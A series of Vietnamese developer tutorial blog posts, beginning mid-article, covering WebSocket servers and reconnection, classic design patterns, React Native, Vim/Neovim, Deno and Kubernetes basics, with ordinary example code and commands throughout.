  async fetch(request: Request) {
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    this.sessions.set(this.ctx.id.toString(), server);
    server.accept();

    server.addEventListener('message', (event) => {
      this.sessions.forEach((ws) => {
        ws.send(event.data);
      });
    });

    return new Response(null, { status: 101, webSocket: client });
  }
}

Auth WebSocket

Xác thực khi handshake:

wss.on('connection', (ws, request) => {
  const token = new URL(request.url!, `http://${request.headers.host}`)
    .searchParams.get('token');

  if (!token || !verifyToken(token)) {
    ws.close(4001, 'Unauthorized');
    return;
  }

  const user = decodeToken(token);
  ws.userId = user.id;
});

Client:

const ws = new WebSocket('ws://localhost:8080?token=abc123');

Reconnection — Auto Retry

class ReconnectingWebSocket {
  private ws: WebSocket | null = null;
  private url: string;
  private retries = 0;
  private maxRetries = 10;

  constructor(url: string) {
    this.url = url;
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);

    this.ws.onclose = () => {
      if (this.retries < this.maxRetries) {
        const delay = Math.min(1000 * 2 ** this.retries, 30000);
        setTimeout(() => {
          this.retries++;
          this.connect();
        }, delay);
      }
    };

    this.ws.onopen = () => {
      this.retries = 0;
    };
  }

  send(data: string) {
    if (this.ws?.readyState === WebSocket.OPEN) {
      this.ws.send(data);
    }
  }
}

Khi Nào Dùng WebSocket?

Chat, messaging
Live notifications
Collaborative editing (Google Docs)
Real-time dashboard, trading
Multiplayer games
Live streaming updates

Không dùng WebSocket cho: CRUD API, request-response đơn giản — HTTP vẫn tốt hơn.

Kết Luận

WebSocket là công cụ mạnh cho real-time. Bắt đầu đơn giản với ws (Node.js) hoặc built-in WebSocket của Bun. Scale với Redis Pub/Sub. Nhớ xử lý reconnection, auth, và heartbeat (ping/pong) để kết nối ổn định.

Tài liệu tham khảo

Design Patterns — 23 Patterns Cổ Điển Cho Developer Hiện Đại

Tue, 07 Jul 2026 00:00:00 GMT

Design patterns là giải pháp cho các vấn đề lặp lại trong thiết kế phần mềm. Không phải code mẫu — mà là template giải quyết vấn đề.

Singleton — Chỉ Một Instance

Đảm bảo class chỉ có một instance duy nhất.

class Database {
  private static instance: Database;
  private constructor() {} // private constructor

  static getInstance(): Database {
    if (!Database.instance) {
      Database.instance = new Database();
    }
    return Database.instance;
  }

  query(sql: string) {
    console.log(`Executing: ${sql}`);
  }
}

// Usage
const db1 = Database.getInstance();
const db2 = Database.getInstance();
console.log(db1 === db2); // true

Dùng khi: Connection pool, logger, config manager.

Factory Method — Tạo Object Mà Không Cần Biết Class

interface Notification {
  send(message: string): void;
}

class EmailNotification implements Notification {
  send(message: string) {
    console.log(`Email: ${message}`);
  }
}

class SMSNotification implements Notification {
  send(message: string) {
    console.log(`SMS: ${message}`);
  }
}

class NotificationFactory {
  static create(type: 'email' | 'sms'): Notification {
    switch (type) {
      case 'email': return new EmailNotification();
      case 'sms': return new SMSNotification();
    }
  }
}

// Usage
const notifier = NotificationFactory.create('email');
notifier.send('Hello!');

Dùng khi: Logic tạo object phức tạp, muốn giấu implementation.

Observer — Publish/Subscribe

Khi object thay đổi, tất cả dependent object được thông báo.

interface Observer {
  update(data: any): void;
}

class Subject {
  private observers: Observer[] = [];

  subscribe(observer: Observer) {
    this.observers.push(observer);
  }

  unsubscribe(observer: Observer) {
    this.observers = this.observers.filter(o => o !== observer);
  }

  notify(data: any) {
    this.observers.forEach(o => o.update(data));
  }
}

// Usage
class Logger implements Observer {
  update(data: any) {
    console.log('Log:', data);
  }
}

class EmailService implements Observer {
  update(data: any) {
    console.log('Sending email for:', data);
  }
}

const subject = new Subject();
subject.subscribe(new Logger());
subject.subscribe(new EmailService());
subject.notify({ event: 'user_created', id: 1 });

Dùng khi: Event system, real-time update, React 상태 관리 (RxJS, Zustand).

Strategy — Algorithm Có Thể Swap

interface SortStrategy {
  sort(data: number[]): number[];
}

class BubbleSort implements SortStrategy {
  sort(data: number[]) {
    console.log('Bubble sort');
    return data.sort((a, b) => a - b);
  }
}

class QuickSort implements SortStrategy {
  sort(data: number[]) {
    console.log('Quick sort');
    return data.sort((a, b) => a - b);
  }
}

class Sorter {
  constructor(private strategy: SortStrategy) {}

  setStrategy(strategy: SortStrategy) {
    this.strategy = strategy;
  }

  sort(data: number[]) {
    return this.strategy.sort(data);
  }
}

// Usage
const sorter = new Sorter(new BubbleSort());
sorter.sort([3, 1, 2]);
sorter.setStrategy(new QuickSort());
sorter.sort([3, 1, 2]);

Dùng khi: Nhiều cách xử lý, muốn chọn linh hoạt (sort, compression, authentication).

Decorator — Thêm Chức Năng Mà Không Sửa Class

interface Coffee {
  cost(): number;
  description(): string;
}

class SimpleCoffee implements Coffee {
  cost() { return 10; }
  description() { return 'Coffee'; }
}

class MilkDecorator implements Coffee {
  constructor(private coffee: Coffee) {}

  cost() { return this.coffee.cost() + 3; }
  description() { return this.coffee.description() + ' + Milk'; }
}

class SugarDecorator implements Coffee {
  constructor(private coffee: Coffee) {}

  cost() { return this.coffee.cost() + 1; }
  description() { return this.coffee.description() + ' + Sugar'; }
}

// Usage
let coffee: Coffee = new SimpleCoffee();
coffee = new MilkDecorator(coffee);
coffee = new SugarDecorator(coffee);
console.log(coffee.description()); // Coffee + Milk + Sugar
console.log(coffee.cost());        // 14

Dùng khi: Cần thêm chức năng linh hoạt, tránh class explosion (quá nhiều subclass).

Adapter — Kết Nối Hai Interface Khác Nhau

class OldAPI {
  getUser(id: number): string {
    return `User{id=${id}}`;
  }
}

interface NewAPI {
  fetchUser(id: number): { id: number; name: string };
}

class UserAdapter implements NewAPI {
  constructor(private oldApi: OldAPI) {}

  fetchUser(id: number) {
    const data = this.oldApi.getUser(id);
    return { id, name: data };
  }
}

// Usage
const adapter = new UserAdapter(new OldAPI());
const user = adapter.fetchUser(1);

Dùng khi: Legacy code integration, third-party library wrapper.

Repository — Abstraction Cho Data Layer

interface UserRepository {
  findById(id: number): Promise<User | null>;
  save(user: User): Promise<void>;
  delete(id: number): Promise<void>;
}

class PostgresUserRepository implements UserRepository {
  async findById(id: number) {
    return db.query('SELECT * FROM users WHERE id = $1', [id]);
  }

  async save(user: User) {
    return db.query('INSERT INTO users VALUES ($1, $2)', [user.id, user.name]);
  }

  async delete(id: number) {
    return db.query('DELETE FROM users WHERE id = $1', [id]);
  }
}

class UserService {
  constructor(private repo: UserRepository) {}

  async getUser(id: number) {
    const user = await this.repo.findById(id);
    if (!user) throw new Error('User not found');
    return user;
  }
}

// Dễ dàng đổi database
const repo = new PostgresUserRepository();
// const repo = new MongoUserRepository();
const service = new UserService(repo);

Dùng khi: Dependency injection, dễ test (mock repo), dễ đổi database.

Dependency Injection — Đừng New, Hãy Nhận

// ❌ Tệ — hardcode dependency
class OrderService {
  private logger = new ConsoleLogger();
  private email = new SmtpEmailService();
}

// ✅ Tốt — inject dependency
class OrderService {
  constructor(
    private logger: Logger,
    private email: EmailService,
  ) {}
}

// DI Container (ví dụ đơn giản)
class Container {
  private services = new Map<string, any>();

  register(name: string, instance: any) {
    this.services.set(name, instance);
  }

  resolve<T>(name: string): T {
    return this.services.get(name);
  }
}

const container = new Container();
container.register('logger', new ConsoleLogger());
container.register('email', new SmtpEmailService());

const orderService = new OrderService(
  container.resolve('logger'),
  container.resolve('email'),
);

Khi Nào Dùng Pattern?

Không dùng pattern vì nó "sạch" — pattern có chi phí
Pattern giải quyết vấn đề cụ thể — nếu không có vấn đề, đừng pattern
Code đơn giản > Code pattern — pattern là công cụ, không phải mục tiêu

Kết Luận

23 patterns trong GoF, bạn chỉ thực sự cần khoảng 5-7:

Singleton, Factory, Repository — hầu như project nào cũng dùng
Observer, Strategy — event handling, algorithm selection
Adapter, Decorator — integration, mở rộng

Học pattern để có từ vựng giao tiếp với đồng nghiệp: "Chỗ này dùng Observer", "Refactor theo Strategy pattern". Quan trọng nhất: hiểu vấn đề pattern giải quyết, không phải nhớ code mẫu.

Tài liệu tham khảo

React Native — Xây Dựng Mobile App Từ Một Codebase

Mon, 06 Jul 2026 00:00:00 GMT

React Native cho phép xây dựng iOS và Android từ một codebase JavaScript/TypeScript. Không phải "web view" — nó dùng native components thật.

React Native vs Flutter

| | React Native | Flutter | |---|---|---| | Language | JavaScript/TypeScript | Dart | | UI | Native components | Custom canvas (Skia) | | Performance | Bridge (JSI mới) | Native (compiled) | | Ecosystem | Lớn, nhiều thư viện | Đang phát triển | | Hot reload | ✅ | ✅ | | Bundle size | ~10MB | ~15MB |

Setup

# Dùng Expo (khuyến nghị)
npx create-expo-app my-app --template blank-typescript
cd my-app
npx expo start

# Hoặc React Native CLI
npx @react-native-community/cli init MyApp

Components Cơ Bản

import { View, Text, StyleSheet, ScrollView, TouchableOpacity } from 'react-native';

export default function App() {
  return (
    <SafeAreaView style={styles.container}>
      <ScrollView>
        <View style={styles.header}>
          <Text style={styles.title}>Hello, Mobile!</Text>
          <Text style={styles.subtitle}>Welcome to React Native</Text>
        </View>

        <TouchableOpacity style={styles.button} onPress={() => alert('Pressed!')}>
          <Text style={styles.buttonText}>Press Me</Text>
        </TouchableOpacity>
      </ScrollView>
    </SafeAreaView>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    backgroundColor: '#fff',
  },
  header: {
    padding: 24,
    alignItems: 'center',
  },
  title: {
    fontSize: 28,
    fontWeight: 'bold',
    color: '#1a1a1a',
  },
  subtitle: {
    fontSize: 16,
    color: '#666',
    marginTop: 8,
  },
  button: {
    backgroundColor: '#007AFF',
    paddingVertical: 14,
    paddingHorizontal: 32,
    borderRadius: 12,
    marginHorizontal: 24,
    alignItems: 'center',
  },
  buttonText: {
    color: '#fff',
    fontSize: 16,
    fontWeight: '600',
  },
});

Navigation

import { NavigationContainer } from '@react-navigation/native';
import { createNativeStackNavigator } from '@react-navigation/native-stack';
import { createBottomTabNavigator } from '@react-navigation/bottom-tabs';

type RootStackParamList = {
  Home: undefined;
  Profile: { userId: number };
  Settings: undefined;
};

const Stack = createNativeStackNavigator<RootStackParamList>();
const Tab = createBottomTabNavigator();

function HomeStack() {
  return (
    <Stack.Navigator>
      <Stack.Screen name="Home" component={HomeScreen} />
      <Stack.Screen name="Profile" component={ProfileScreen} />
    </Stack.Navigator>
  );
}

export default function App() {
  return (
    <NavigationContainer>
      <Tab.Navigator>
        <Tab.Screen name="Home" component={HomeStack} />
        <Tab.Screen name="Settings" component={SettingsScreen} />
      </Tab.Navigator>
    </NavigationContainer>
  );
}

function ProfileScreen({ route, navigation }: any) {
  const { userId } = route.params;

  return (
    <View>
      <Text>User ID: {userId}</Text>
      <Button title="Go Back" onPress={() => navigation.goBack()} />
    </View>
  );
}

State Management (Zustand)

import { create } from 'zustand';
import { persist } from 'zustand/middleware';
import AsyncStorage from '@react-native-async-storage/async-storage';

interface AuthStore {
  user: User | null;
  token: string | null;
  login: (email: string, password: string) => Promise<void>;
  logout: () => void;
}

const useAuthStore = create<AuthStore>()(
  persist(
    (set) => ({
      user: null,
      token: null,

      login: async (email, password) => {
        const response = await fetch('https://api.example.com/login', {
          method: 'POST',
          body: JSON.stringify({ email, password }),
        });
        const data = await response.json();
        set({ user: data.user, token: data.token });
      },

      logout: () => {
        set({ user: null, token: null });
      },
    }),
    {
      name: 'auth-storage',
      storage: {
        getItem: async (name) => {
          const value = await AsyncStorage.getItem(name);
          return value ? JSON.parse(value) : null;
        },
        setItem: async (name, value) => {
          await AsyncStorage.setItem(name, JSON.stringify(value));
        },
        removeItem: async (name) => {
          await AsyncStorage.removeItem(name);
        },
      },
    }
  ),
);

Network Calls

import { useQuery, useMutation, QueryClient, QueryClientProvider } from '@tanstack/react-query';

const queryClient = new QueryClient();

function Posts() {
  const { data, isLoading, error } = useQuery({
    queryKey: ['posts'],
    queryFn: () => fetch('https://jsonplaceholder.typicode.com/posts').then(r => r.json()),
  });

  const createMutation = useMutation({
    mutationFn: (newPost) =>
      fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST',
        body: JSON.stringify(newPost),
      }).then(r => r.json()),
    onSuccess: () => {
      queryClient.invalidateQueries({ queryKey: ['posts'] });
    },
  });

  if (isLoading) return <ActivityIndicator />;
  if (error) return <Text>Error loading posts</Text>;

  return (
    <FlatList
      data={data}
      keyExtractor={(item) => item.id.toString()}
      renderItem={({ item }) => (
        <View style={styles.post}>
          <Text style={styles.postTitle}>{item.title}</Text>
          <Text>{item.body}</Text>
        </View>
      )}
      refreshing={isLoading}
      onRefresh={() => queryClient.invalidateQueries({ queryKey: ['posts'] })}
    />
  );
}

Native Features

import * as ImagePicker from 'expo-image-picker';
import * as Location from 'expo-location';
import * as Notifications from 'expo-notifications';

// Camera
async function pickImage() {
  const result = await ImagePicker.launchCameraAsync({
    quality: 0.8,
    allowsEditing: true,
  });
  if (!result.canceled) {
    setImage(result.assets[0].uri);
  }
}

// Location
async function getLocation() {
  const { status } = await Location.requestForegroundPermissionsAsync();
  if (status !== 'granted') return;

  const location = await Location.getCurrentPositionAsync({});
  console.log(location.coords.latitude, location.coords.longitude);
}

// Push Notifications
async function registerForPush() {
  const { status } = await Notifications.requestPermissionsAsync();
  if (status !== 'granted') return;

  const token = await Notifications.getExpoPushTokenAsync();
  console.log(token.data);
}

Performance

// 1. FlatList thay ScrollView
<FlatList
  data={items}
  renderItem={renderItem}
  keyExtractor={item => item.id}
  initialNumToRender={10}
  maxToRenderPerBatch={10}
  windowSize={5}
  removeClippedSubviews={true}
/>

// 2. useMemo + useCallback
const sortedItems = useMemo(() => {
  return items.sort((a, b) => a.name.localeCompare(b.name));
}, [items]);

const handlePress = useCallback((id: number) => {
  navigation.navigate('Detail', { id });
}, []);

// 3. Images
<Image
  source={{ uri: imageUrl }}
  style={styles.image}
  resizeMode="cover"
  fadeDuration={300}
/>

// 4. Avoid inline styles
const styles = StyleSheet.create({
  container: { flex: 1 }, // Không tạo object mới mỗi render
});

Deploy

# Android — APK/AAB
cd android
./gradlew assembleRelease
# File ở android/app/build/outputs/apk/release/

# iOS — Archive
# Mở .xcworkspace trong Xcode → Product → Archive

# EAS Build (Expo)
eas build --platform all --profile production
eas submit --platform ios
eas submit --platform android

Expo vs React Native CLI

| Expo | React Native CLI | |---|---| | ✅ Dễ setup, không cần Xcode/Android Studio | Cần native environment | | ✅ OTA updates | Phải build lại | | ✅ 50+ prebuilt modules | Tự config native | | ❌ Không dùng native module tùy chỉnh | ✅ Full native control | | ❌ Bundle size lớn hơn | ✅ Tối ưu hơn |

Khuyến nghị: Bắt đầu với Expo. Chỉ chuyển sang bare workflow khi cần native module đặc biệt.

Kết Luận

React Native là lựa chọn tốt cho mobile app nếu bạn đã biết React:

Một codebase cho iOS + Android
Hot reload
Ecosystem lớn (Expo, React Navigation, TanStack Query)
Có thể fallback sang native code khi cần

Bắt đầu với Expo + TypeScript, thêm navigation với React Navigation, state với Zustand + TanStack Query, deploy với EAS Build.

Tài liệu tham khảo

Vim/Neovim — Soạn Thảo Văn Bản Tốc Độ Ánh Sáng

Mon, 06 Jul 2026 00:00:00 GMT

Vim không dễ — nhưng một khi đã quen, bạn sẽ không muốn quay lại. Modal editing giúp thao tác với văn bản nhanh hơn chuột rất nhiều.

Modal Editing — Chìa Khóa Của Vim

Các chế độ (mode):

Normal  → Insert  → Visual  → Command
  ↓        ↓          ↓          ↓
  Điều    Gõ chữ    Chọn text  Lệnh
  hướng

Thoát Insert: Esc hoặc Ctrl+[

Navigation — Di Chuyển Không Cần Chuột

    ↑
    k
← h   l →    ← b/w (word)
    j           e (end of word)
    ↓         0/$ (đầu/cuối dòng)
             ^ (ký tự đầu dòng)

Phím | Hành động ---|--- h/j/k/l | Trái/xuống/lên/phải w/b | Word tiếp/trước e | Cuối word 0 / ^ / $ | Đầu dòng / ký tự đầu / cuối dòng gg / G | Đầu file / cuối file :{number} | Nhảy đến dòng số Ctrl+d/u | Nửa trang xuống/lên Ctrl+f/b | Trang xuống/lên % | Nhảy đến ngoặc tương ứng * / # | Tìm từ hiện tại tiếp theo/trước

Editing — Thao Tác Văn Bản

Cú Pháp: [count]operator[motion]

d2w  → delete 2 words
ci(  → change inside parentheses
y3j  → yank 3 dòng xuống

Operators

| Phím | Hành động | |---|---| | d | Delete (cắt) | | y | Yank (copy) | | c | Change (xóa + vào Insert) | | p / P | Paste sau/trước | | x | Xóa ký tự | | r | Replace 1 ký tự | | . | Lặp lại hành động cuối |

Visual Mode

v      → Visual (ký tự)
V      → Visual line
Ctrl+v → Visual block

Chọn xong: d (xóa), y (copy), > (indent), ~ (đổi case).

Command Mode

:w        " Save
:q        " Quit
:wq       " Save & quit
:q!       " Force quit
:e file   " Mở file
:bd       " Close buffer
:sp       " Split ngang
:vsp      " Split dọc
:!command " Chạy shell command
:%s/old/new/g  " Replace toàn file

Buffers, Windows, Tabs

Buffer → File trong bộ nhớ
Window → Cửa sổ xem buffer
Tab    → Collection của windows

:ls           " Danh sách buffer
:b 3          " Đến buffer số 3
:bn / :bp     " Buffer tiếp/trước

Ctrl+w v      " Vertical split
Ctrl+w s      " Horizontal split
Ctrl+w w      " Chuyển window
Ctrl+w q      " Đóng window

:tabnew file  " Tab mới
gt / gT       " Tab tiếp/trước

Neovim — Vim Hiện Đại

Neovim là fork của Vim với nhiều cải tiến:

LSP built-in — autocomplete, go-to-definition
Lua thay Vimscript — cấu hình mạnh hơn, dễ hơn
Treesitter — syntax highlight chính xác
Built-in terminal — :term

Config Cơ Bản (init.lua)

-- Options
vim.opt.number = true
vim.opt.relativenumber = true
vim.opt.tabstop = 2
vim.opt.shiftwidth = 2
vim.opt.expandtab = true
vim.opt.mouse = 'a'
vim.opt.ignorecase = true
vim.opt.smartcase = true
vim.opt.splitright = true
vim.opt.splitbelow = true

-- Keymaps
vim.keymap.set('n', '<leader>w', ':w<CR>')
vim.keymap.set('n', '<leader>q', ':q<CR>')
vim.keymap.set('n', '<leader>e', ':NvimTreeToggle<CR>')
vim.keymap.set('n', '<leader>ff', ':Telescope find_files<CR>')

Plugins Thiết Yếu

-- lazy.nvim — plugin manager
local lazypath = vim.fn.stdpath('data') .. '/lazy/lazy.nvim'
vim.opt.rtp:prepend(lazypath)

require('lazy').setup({
  -- Navigation
  'nvim-telescope/telescope.nvim',    -- Fuzzy finder
  'nvim-tree/nvim-tree.lua',           -- File explorer
  -- LSP
  'neovim/nvim-lspconfig',             -- LSP client
  'hrsh7th/nvim-cmp',                  -- Autocomplete
  -- Editor
  'nvim-treesitter/nvim-treesitter',   -- Syntax highlight
  'windwp/nvim-autopairs',             -- Auto close brackets
  'numToStr/Comment.nvim',             -- Comment toggling
  -- Git
  'lewis6991/gitsigns.nvim',           -- Git signs in gutter
  -- Theme
  'catppuccin/nvim',                   -- Theme
})

Plugin Tương Đương IDE

| IDE Feature | Neovim Plugin | |---|---| | File explorer | nvim-tree | | Fuzzy find | Telescope | | Autocomplete | nvim-cmp + LSP | | Git blame | gitsigns | | Terminal | Built-in | | Debugger | nvim-dap | | Test runner | neotest | | Snippets | LuaSnip |

Vim Trong IDE

Hầu hết IDE đều có Vim mode:

VS Code: Vim extension
JetBrains: IdeaVim plugin
VSCode Neovim: Dùng Neovim thật trong VS Code

Mẹo Hay

" Sửa lỗi nhanh
ciw    " Xóa word hiện tại, vào insert
ci"    " Xóa trong ngoặc kép
cap    " Xóa trong tag HTML (change around pair)
dd     " Xóa dòng
D      " Xóa từ cursor đến cuối dòng
C      " Xóa từ cursor đến cuối dòng + insert

" Macro — ghi và lặp
qa     " Ghi macro vào register a
...    " Thao tác
q      " Dừng ghi
@a     " Chạy macro a
@@     " Lặp lại macro cuối

Kết Luận

Vim khó tuần đầu — nhưng đầu tư 2 tuần để học, bạn tiết kiệm hàng trăm giờ về sau. Bắt đầu với vimtutor (gõ trong terminal). Sau đó dùng Neovim với config tối thiểu, thêm plugin khi cần. Đừng copy config ai đó — tự build dần dần.

Tài liệu tham khảo

Deno — JavaScript Runtime An Toàn TypeScript Native

Sun, 05 Jul 2026 00:00:00 GMT

Deno là runtime cho JavaScript và TypeScript — tạo bởi chính Ryan Dahl (tác giả Node.js). Học từ sai lầm của Node.

Node.js (2009):  npm, node_modules, CommonJS, callback
Deno (2020):     URL import, không node_modules, ESM, async/await, TypeScript

Tại Sao Deno?

Vấn đề với Node.js

Ryan Dahl liệt kê 10 điều hối tiếc về Node trong bài talk "10 Things I Regret About Node.js":

Promise thay vì callback (đã fix)
Security (không sandbox)
Module system (CommonJS vs ESM mess)
node_modules nặng
package.json phình to
TypeScript không native

Deno giải quyết tất cả.

So Sánh

| | Node.js | Deno | |---|---|---| | TypeScript | Cần tsconfig + ts-node | Native | | Module | npm + node_modules | URL import + npm (JSR) | | Security | Full access | Permissions opt-in | | Package manager | npm/yarn/pnpm | Không cần | | Config | package.json, tsconfig,... | deno.json (tuỳ chọn) | | Standard library | npm packages | std (deno.land/std) | | Web API | fetch, AbortController... | ✅ All Web API | | Binary | 1 file? | 1 file (~30MB) |

Cài Đặt

# macOS / Linux
curl -fsSL https://deno.land/install.sh | sh

# macOS (Homebrew)
brew install deno

# Windows
winget install DenoLand.Deno

# Verify
deno --version
deno --help

Hello World

// hello.ts
console.log('Hello Deno!')

// Chạy — không cần config, không cần package.json
deno run hello.ts

# Cấp quyền network
deno run --allow-net server.ts

# Cấp quyền đọc file
deno run --allow-read file.ts

# Cấp tất cả (không khuyến khích)
deno run -A script.ts

Permissions

Deno an toàn mặc định — script không có quyền gì:

// Không chạy được — cần --allow-net
const res = await fetch('https://api.example.com')

// Không chạy được — cần --allow-read
const text = await Deno.readTextFile('/etc/hosts')

// Không chạy được — cần --allow-env
console.log(Deno.env.get('HOME'))

# Grant từng quyền
deno run --allow-net=api.example.com --allow-read=/tmp script.ts

# Prompt quyền khi cần (interactive)
deno run --allow-prompt script.ts

Permissions: --allow-read, --allow-write, --allow-net, --allow-env, --allow-run, --allow-ffi, --allow-sys, --allow-hrtime.

TypeScript Native

// Chạy TypeScript trực tiếp — không tsconfig.json
// Deno tự compile, cache type definitions

interface User {
  id: number
  name: string
  email: string
}

const user: User = {
  id: 1,
  name: 'Alice',
  email: 'alice@example.com',
}

// Deno tự động download type definitions
import { serve } from 'https://deno.land/std@0.224.0/http/server.ts'

// deno.json — optional config (thay thế package.json + tsconfig)
{
  "tasks": {
    "dev": "deno run --watch --allow-net src/main.ts",
    "start": "deno run --allow-net --allow-read src/main.ts",
    "test": "deno test"
  },
  "imports": {
    "express": "npm:express@5",
    "std/": "https://deno.land/std@0.224.0/"
  }
}

Module: URL Import

Không npm install, không node_modules:

// Import từ URL — Deno cache tự động
import { serve } from 'https://deno.land/std@0.224.0/http/server.ts'
import { Hono } from 'https://deno.land/x/hono/mod.ts'

// Import từ npm (Deno 2+)
import express from 'npm:express@5'

// Import từ JSR (Deno registry mới)
import { z } from 'jsr:@std/zod'

Cache ở:
~/.cache/deno/  (macOS/Linux)
%LOCALAPPDATA%/deno/ (Windows)

Không npm install, không node_modules, không package-lock.json cho URL imports.

HTTP Server

// Web API chuẩn — Request/Response như browser
Deno.serve({ port: 3000 }, (req) => {
  const url = new URL(req.url)

  if (req.method === 'GET' && url.pathname === '/') {
    return new Response('Hello Deno!', {
      headers: { 'content-type': 'text/plain' },
    })
  }

  if (req.method === 'GET' && url.pathname === '/api/users') {
    const users = [{ id: 1, name: 'Alice' }]
    return Response.json(users)
  }

  return new Response('Not Found', { status: 404 })
})

console.log('Server running on http://localhost:3000')

deno run --allow-net server.ts

File System

// Deno API — promise-based
const content = await Deno.readTextFile('./data.json')
const data = JSON.parse(content)

await Deno.writeTextFile('./output.txt', 'Hello Deno!')

// Web API
const json = await Deno.readTextFile('./config.json')
const config = JSON.parse(json)

// Streaming
const file = await Deno.open('./large-file.txt')
for await (const chunk of file.readable) {
  // process chunk
}

Standard Library

Deno có std library chính thức — không cần npm packages cho common tasks:

// std/fs
import { walk } from 'https://deno.land/std@0.224.0/fs/walk.ts'
for await (const entry of walk('./src')) {
  console.log(entry.path)
}

// std/path
import { join, extname } from 'https://deno.land/std@0.224.0/path/mod.ts'
const fullPath = join('src', 'components', 'Header.tsx')
console.log(extname(fullPath)) // .tsx

// std/csv
import { parse } from 'https://deno.land/std@0.224.0/csv/parse.ts'
const records = parse(csvString)

// std/testing
import { assertEquals } from 'https://deno.land/std@0.224.0/assert/mod.ts'
Deno.test('should add', () => {
  assertEquals(1 + 1, 2)
})

Testing

Testing built-in — không cần Jest/Vitest:

// math_test.ts
import { assertEquals } from 'https://deno.land/std@0.224.0/assert/mod.ts'

Deno.test('add two numbers', () => {
  const result = 1 + 2
  assertEquals(result, 3)
})

Deno.test('async test', async () => {
  const res = await fetch('https://api.example.com')
  assertEquals(res.status, 200)
})

# Chạy test
deno test
deno test --allow-net # Nếu test cần network
deno test --watch # Watch mode
deno test --coverage # Coverage

Deno 2.x Features

Deno 2 (2024+) thêm tương thích ngược với Node.js/npm:

{
  "imports": {
    "express": "npm:express@5",
    "react": "npm:react@19",
    "lodash": "npm:lodash@4"
  }
}

// Chạy package.json project với Deno
deno run npm:next start

// Dùng npm packages
import express from 'npm:express@5'
const app = express()
app.get('/', (req, res) => res.send('Hello from Deno!'))
app.listen(3000)

Deno 2 có thể chạy hầu hết Node.js projects — chỉ cần deno run thay node.

So Sánh: Node vs Deno

// Node.js
const http = require('http')
http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/plain' })
  res.end('Hello Node\n')
}).listen(3000)

// Deno
Deno.serve({ port: 3000 }, (req) => {
  return new Response('Hello Deno')
})

// Deno dùng Web API — giống browser

| Task | Node | Deno | |---|---|---| | HTTP server | http.createServer | Deno.serve (Web API) | | File read | fs.readFileSync | Deno.readTextFile | | Environment | process.env | Deno.env.get | | TypeScript | ts-node, tsconfig | Native | | Test | Jest, Vitest | Deno.test | | Format | Prettier | deno fmt | | Lint | ESLint | deno lint | | Compile | pkg, nexe | deno compile |

Toolchain

Deno là runtime + toolchain trong một binary:

deno run # Run script
deno test # Test runner
deno fmt # Formatter (Prettier alternative)
deno lint # Linter (ESLint alternative)
deno doc # Documentation generator
deno compile # Compile to single binary
deno bench # Benchmark runner
deno task # Run tasks (package.json scripts)
deno check # Type-check
deno init # Init project

# Format code
deno fmt

# Lint
deno lint

# Compile thành binary standalone
deno compile --allow-net --output my-app src/main.ts
# → my-app (single binary, ~30MB, chạy không cần Deno)

Khi Nào Dùng Deno?

✅ Nên dùng

CLI tool / script — TypeScript native, không config
HTTP API nhỏ-gọn — Deno.serve + std library đủ
Security-sensitive app — permissions model
New project — không muốn npm baggage
Single binary distribution — deno compile

❌ Không nên

Large Node.js project — migration không đáng
Cần nhiều npm packages — Node ecosystem vẫn lớn hơn
Team quen Node — không cần đổi nếu đang ổn
Serverless (Lambda) — Deno hỗ trợ nhưng Node nhiều hơn

Tổng Kết

Deno sửa những gì Node làm sai — security, modules, TypeScript, toolchain.

# Deno: một binary cho mọi thứ
deno run --allow-net server.ts # Run server
deno test # Test
deno fmt # Format
deno lint # Lint
deno compile # Build binary
deno doc # Docs

# Không npm install, không node_modules, không tsconfig
# Chỉ import từ URL, chạy luôn

| | Node.js | Deno | |---|---|---| | Security | ❌ Full access | ✅ Permissions | | TypeScript | ❌ tsconfig + ts-node | ✅ Native | | Module | ❌ npm + node_modules | ✅ URL import + npm | | Toolchain | ❌ Rời rạc (ESLint, Prettier, Jest) | ✅ Một binary | | Web API | ⚠️ Một phần | ✅ Đầy đủ | | Standard lib | ✅ Qua npm | ✅ std + JSR |

Deno không "thay thế Node" — nó là alternative cho những ai muốn runtime an toàn hơn, TypeScript native, ít toolchain hơn.

Tài liệu tham khảo

Kubernetes Cơ Bản — Container Orchestration Cho Developer

Sun, 05 Jul 2026 00:00:00 GMT

Kubernetes (K8s) là nền tảng orchestration container phổ biến nhất. Nó quản lý việc deploy, scale, và vận hành container tự động.

Kiến Trúc

┌─────────────────────────────────┐
│         Master Node              │
│  ┌───────┐ ┌───────┐ ┌───────┐  │
│  │  API  │ │Scheduler│ │Controller│
│  │ Server│ │        │ │ Manager │  │
│  └───┬───┘ └───────┘ └───────┘  │
│      │                           │
│  ┌───┴───┐                       │
│  │  etcd │ (cluster state)       │
│  └───────┘                       │
└──────────┬──────────────────────┘
           │
    ┌──────┴──────┐
    │  Worker Node │
    │ ┌──────────┐ │
    │ │  Pod     │ │
    │ │ ┌──────┐ │ │
    │ │ │Container│ │
    │ │ └──────┘ │ │
    │ └──────────┘ │
    │ ┌──────────┐ │
    │ │  kubelet │ │
    │ └──────────┘ │
    └─────────────┘

Pod — Đơn Vị Nhỏ Nhất

Pod là 1 hoặc nhiều container chạy cùng nhau, share network và storage.

apiVersion: v1
kind: Pod
metadata:
  name: my-app
  labels:
    app: my-app
spec:
  containers:
    - name: app
      image: myapp:latest
      ports:
        - containerPort: 3000

# Tạo pod
kubectl apply -f pod.yaml

# Xem pod
kubectl get pods
kubectl describe pod my-app
kubectl logs my-app

# Exec vào pod
kubectl exec -it my-app -- sh

# Xóa pod
kubectl delete pod my-app

Deployment — Quản Lý Pod

Không dùng Pod trực tiếp — dùng Deployment. Deployment đảm bảo số lượng pod mong muốn luôn chạy.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app
spec:
  replicas: 3
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
        - name: app
          image: myapp:latest
          ports:
            - containerPort: 3000
          resources:
            requests:
              cpu: "100m"
              memory: "128Mi"
            limits:
              cpu: "500m"
              memory: "256Mi"
          livenessProbe:
            httpGet:
              path: /health
              port: 3000
            initialDelaySeconds: 5
            periodSeconds: 10

# Scale
kubectl scale deployment my-app --replicas=5

# Rolling update
kubectl set image deployment/my-app app=myapp:v2

# Rollback
kubectl rollout undo deployment/my-app

# Xem rollout status
kubectl rollout status deployment/my-app

